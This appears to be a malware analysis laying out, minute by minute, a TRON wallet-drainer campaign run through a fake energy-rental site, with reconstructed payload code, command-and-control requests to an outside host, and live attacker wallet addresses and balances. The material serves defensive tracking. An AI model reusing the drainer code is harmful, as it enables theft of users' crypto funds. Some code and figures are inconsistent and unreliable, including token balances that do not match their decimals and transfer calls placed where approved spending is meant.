T+0min: User Discovery
Victim discovers tronify.rent through:
- Google search for "TRON energy rental" or "reduce TRX fees"
- Twitter/Telegram community mention
- Organic search results (if site is SEO-optimized)
- Referral from compromised TRON accounts
Why it works: Energy rental is a legitimate TRON need. Real services exist. This one just looks more official.
T+1min: Website Landing
User visits tronify.rent homepage:
Server Response:
- Sends index.html with company info (Florida LLC, phone, email)
- Loads promotional content: "Save up to 97% on TRON transaction costs"
- Displays "Connect Wallet" button prominently
- Injects <script src="https://lending.fhogu.pw/greenbid.js?v=1">
User Perception: "Looks professional, has legitimate contact info, exactly what I'm looking for."
T+5min: Payload Download
Browser downloads malicious greenbid.js from lending.fhogu.pw
Attacker Infrastructure:
- lending.fhogu.pw hosts 150KB JavaScript file
- File contains wallet draining logic (minified/obfuscated)
- Payload waits for page interaction before executing
- Includes C&C communication code
Detection Difficulty: Without analyzing the JS source, there's no obvious malicious activity yet.
T+10min: User Initiates Connection
π€ USER CLICKS "CONNECT WALLET"
Greenbid.js wakes up and detects available wallets:
// From greenbid.js: Wallet detection
const availableWallets = [];
if (window.tronLink) availableWallets.push("TronLink");
if (window.ethereum?.isTrust) availableWallets.push("MetaMask");
if (window.trustwallet) availableWallets.push("Trust Wallet");
if (window.safepalProvider) availableWallets.push("SafePal");
// If TronLink is available, use it (most common)
const selectedWallet = availableWallets[0];
T+11min: Wallet Selection Dialog
User sees familiar wallet connection prompt:
ββββ TronLink Connection Request βββββββββββββββββ
β β
β tronify.rent would like to access your β
β TRON wallet β
β β
β Wallet Address: TAk3...aBc2 β
β Network: TRON Mainnet β
β β
β [Cancel] [Connect] β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
User thinks: "Normal DeFi connection process."
Actually: Giving JavaScript code read access to wallet address & signing capability.
π€ USER CLICKS "CONNECT"
T+12min: Wallet Access Confirmed
Greenbid.js obtains:
- window.tronLink.tronWeb.defaultAddress.base58 β Victim's address
- Signing capability (user confirmed connection)
- Ability to invoke tronWeb methods through wallet
Greenbid.js logs connection to C&C:
POST /tron/notify/wallet-connected
{
visitorId: "550e8400-e29b-41d4-a716-446655440000",
address: "TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X",
walletName: "TronLink",
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...",
pageUrl: "https://tronify.rent",
timezone: "America/Los_Angeles"
}
C&C Response: Server logs victim, may flag high-value wallets for additional targeting.
T+13min: Fetch Attack Configuration
Greenbid.js requests attacker's wallet addresses:
const config = await fetch("https://lending.fhogu.pw/tron/config")
.then(r => r.json());
// Actual live response, retrieved 2026-09-20 (evidence/cnc/tron_config.json):
{
tronSpender: "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv",
tronSweepAddress: "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ",
tronSweepMinTrx: 100,
tronExchangeContract: "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux"
}
Key Detail: Attacker's addresses come from C&C server dynamically, allowing them to rotate addresses if one is flagged or caught. We fetched the values above directly from the live endpoint β they are real, but should be treated as a dated snapshot (2026-09-20), not a permanent IoC, since the attacker controls the server and can change them at any time.
T+14min: Analyze Assets
Greenbid.js scans victim's wallet:
// Step 1: Get all TRC-20 tokens
const tokens = await fetch(`${TRON_API}/tokens?owner=${victimAddress}`)
.then(r => r.json());
// Returns something like:
[
{
address: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", // Example USDT token address
symbol: "USDT",
decimals: 6,
balance: 1000000000, // 1M USDT
usdValue: 1000000 // ~$1M USD
},
{
address: "TR3dqYGJzVj3Dzkdvbvb4A8TkS8a7yRPMK",
symbol: "USDC",
decimals: 6,
balance: 500000000, // 500k USDC
usdValue: 500000 // ~$500k USD
},
{
address: "TAW3CmHW1xZHpj3ceFJYXFDRvLQdqfFBAH",
symbol: "SUN",
decimals: 18,
balance: 1000000000000000, // 1M SUN tokens
usdValue: 50000 // ~$50k USD
}
]
// Step 2: Check TRX balance
const trxBalance = await tronWeb.trx.getBalance(victimAddress);
// Returns: 50000000 (50 TRX = ~$600 USD)
Y("drain", `found 3 tokens, TRX balance: 50`)
T+15min: Check Existing Approvals
For each token, check if it's already approved to attacker's spender:
// For each token, query current approval
const allowance = await contract(token.address)
.allowance(victimAddress, tronSpender)
.call();
if (BigInt(allowance) >= BigInt(token.balance)) {
Y("drain", `${token.symbol}: already approved`);
// Token is ready to transfer immediately, skip approval
} else {
Y("drain", `${token.symbol}: needs approval`);
// Will request approval in next phase
}
Optimization: If a token was previously approved, the attacker can skip the approval step (user won't see the notification). They can immediately transfer.
T+16min: Request Token Approvals
For each valuable token that needs approval, craft approval transaction:
for (const token of tokens) {
if (token.balance >= MINIMUM_VALUE_THRESHOLD) {
// Create approval transaction
const contract_instance = window.tronWeb.contract(
TOKEN_ABI,
token.address
);
const approveTx = contract_instance.approve(
tronSpender, // Attacker's spender contract
"115792089237316195423570985008687907853269984665640564039457584007913129639935"
// This is uint256 max = infinite approval
);
// Request user signature
const signedTx = await window.tronLink.request({
method: "tronSignTransaction",
params: [approveTx]
});
// Continue to next token if approved
}
}
T+17min: User Sees Wallet Notifications
For each token, wallet displays notification:
β οΈ First Notification:
ββ TronLink Signature Request βββββββββββββ
β β
β "USDT" is asking for access to your β
β USDT tokens β
β β
β Amount: Unlimited β
β Spender: TR7NHqjeKQxGTCi8q8Z... β
β β
β [Reject] [Sign] β
β β
βββββββββββββββββββββββββββββββββββββββββββ
User Interpretation:
"The site needs permission to use USDT for energy rental. Normal operation. Let me approve."
What's Actually Happening:
"I'm granting an attacker's contract unlimited access to transfer all my USDT forever."
The wallet can't communicate the actual impact because the token contract doesn't know what "unlimited" means in the user's context.
π€ USER CLICKS "SIGN" FOR EACH TOKEN
T+18-22min: Approvals Broadcast to Blockchain
Each signed transaction is broadcast to TRON network:
Blockchain Transaction Example:
- TX Hash: ab3c4d5e6f7g8h9i0j (actual: 64 hex chars)
- From: TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X (victim wallet)
- To: TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t (USDT token contract)
- Method: approve(spender, uint256)
- Spender: TR[ATTACKER_ADDRESS] (attacker's contract - from C&C config)
- Amount: 115792089237316195... (uint256 max = UNLIMITED approval)
- Status: β Confirmed in block #50123456
Public Record: This is now permanently recorded on the TRON blockchain. Anyone can see victim approved attacker contract for unlimited tokens.
Greenbid.js logs each approval to C&C:
POST /tron/approve/notify
{
token: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", // Token contract address
symbol: "USDT",
owner: "TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X", // Victim address (example)
spender: "TR[ATTACKER_CONTRACT]", // Loaded from C&C config
balance: "1000000000",
txHash: "ab3c4d5e6f7g8h9i0j"
}
T+23min: Transfer All Approved Tokens
Once approvals are confirmed on-chain, greenbid.js immediately transfers tokens:
// Now that approvals are confirmed, transfer all tokens
for (const token of tokens) {
const contract_instance = window.tronWeb.contract(
TOKEN_ABI,
token.address
);
const transferTx = contract_instance.transfer(
tronSweepAddress, // Attacker's address
token.balance // 100% of victim's tokens
).send({
feeLimit: 100000000 // 100 TRX fee
});
const txHash = await transferTx;
Y("drain", `${token.symbol} transferred: ${txHash}`);
}
Key Point: User doesn't see additional wallet notificationsβthe approvals already happened. The transfers happen silently from the user's perspective (except wallet balance dropping).
T+25min: TRX Balance Sweep
After tokens are transferred, sweep remaining TRX:
// Reconstructed from the live payload's actual sweep function (verified 2026-09-20;
// current live config value for tronSweepMinTrx is 100, not the 5 an earlier draft assumed)
const trxBalance = await tronWeb.trx.getBalance(victimAddress);
const minThreshold = BigInt(tronSweepMinTrx * 1e6);
const gasBuffer = 2000000n; // 2 TRX reserved for next victim
if (BigInt(trxBalance) > (minThreshold + gasBuffer)) {
const sweepAmount = BigInt(trxBalance) - gasBuffer;
Y("drain", `sweeping ${sweepAmount} sun TRX`);
for (let attempt = 0; attempt < 3; attempt++) {
try {
const sweepTx = await tronWeb.trx.sendTransaction(tronSweepAddress, Number(sweepAmount));
Y("drain", `TRX sweep result: ${JSON.stringify(sweepTx)}`);
POST /tron/notify/sweep { from: victimAddress, to: tronSweepAddress,
amount: (sweepAmount / 1e6n).toString(), txHash: sweepTx.txid, status: "success" };
break;
} catch (error) {
Y("drain", `TRX sweep error: ${error?.message}`);
if (error?.message === "sweep_timeout") {
// Verified real behavior: on a timeout the payload gives up immediately β
// it does NOT retry. An earlier draft of this document incorrectly described
// a 3-attempt backoff for timeouts specifically.
Y("drain", "TRX sweep timed out β skipping");
break;
} else if (isUserRejection(error) && attempt < 2) {
// Retries (up to 2 extra attempts) only apply to rejection-type errors, not timeouts
showStatus("TRX β action required in your wallet");
await delay(2000);
} else {
throw error;
}
}
}
}
Why Reserve 2 TRX? Attacker reserves ~$24 for the next victim's gas fees. This is cost optimizationβgasless attacks aren't possible, so the attacker funds victim wallets to execute the drainer on them.
T+26min: Final State
Victim's Wallet After Attack:
Real Observed On-Chain Activity (verified 2026-09-20)
Unlike the illustrative walkthrough above, everything below is a direct read of the TRON blockchain for the sweep address (TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ) we obtained from the live C&C config β no assumptions, no placeholders. Raw API response: evidence/onchain/trc20_transfers_tronSweepAddress_page1.json.
Most recent 30 USDT (TRC-20) transfers touching the sweep address, 2026-08-27 to 2026-09-19:
~25 distinct sender addresses paid USDT INTO the sweep address
Largest single inbound: 12,359.352186 USDT (tx a4c4d10c...440783b4, 2026-08-25)
Smallest single inbound: 1.789 USDT
Sum of all inbound in this page: ~$32,562.68 USDT (a floor β older history exists beyond this page)
Two large outbound consolidation transfers observed:
24,000 USDT -> TVkRFwgyvUrJqGe3xZaZvTj4vxM5bzherw (2026-08-19)
6,000 USDT -> TZ2PfDN5wNcsrabcB2JoMagx8vY7VEmQqX (2026-08-16)
Current balances still sitting in attacker addresses (not yet moved):
tronSpender: 14,635.00 USDT + 875.44 TRX
tronSweepAddress: 32,288.30 USDT + 3,213.53 TRX
Why this matters: This is exactly the "multiple unrelated wallets -> same destination" pattern the IoC document describes, but with real addresses and amounts instead of a hypothetical query. The two consolidation-out addresses (TVkRF...bzherw and TZ2PfD...VEmQqX) are worth tracing further β they're a more durable pivot point than the sweep address itself, since they represent where the attacker moves funds after theft.
T+27min: Attacker Consolidation
Attacker's Actions:
- Receives all token transfers at tronSweepAddress
- Likely routes tokens through mixing service or decentralized exchange
- Converts high-volume tokens (USDT, USDC) to stablecoins on different chains
- Converts TRX to BTC or other cryptocurrencies for cash-out
T+28min: Campaign Tracking
Attacker reviews victim data from C&C logs:
// Attacker queries victim database
SELECT * FROM victims WHERE status='drained' ORDER BY usd_loss DESC;
Results show:
- visitorId: 550e8400-e29b-41d4-a716-446655440000
- wallet: TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X
- usd_loss: 1553000
- approval_count: 3
- tokens_approved: ["USDT", "USDC", "SUN"]
- trx_swept: 48
- timestamp: 2026-09-20T14:27:00Z
- wallet_provider: "TronLink"
- timezone: "America/Los_Angeles"
- user_agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)..."
// Attacker measures ROI and adjusts targeting
- High USD value victims β Route through premium mixing
- Low USD value β Batch convert
- Geographic clustering analysis β Plan next campaign
T+60min+: Victim Realization
π€ USER CHECKS WALLET BALANCE...
Victim realizes all assets are gone. Timeline:
- T+30min: Victim notices balance is 0
- T+35min: Victim refreshes repeatedly, hopes it's a display error
- T+40min: Victim checks TronScan (blockchain explorer) and sees transactions
- T+50min: Victim searches online for "tronify scam" or similar
- T+60min: Victim posts on Reddit/Twitter seeking help
- T+120min: Victim realizes funds are likely unrecoverable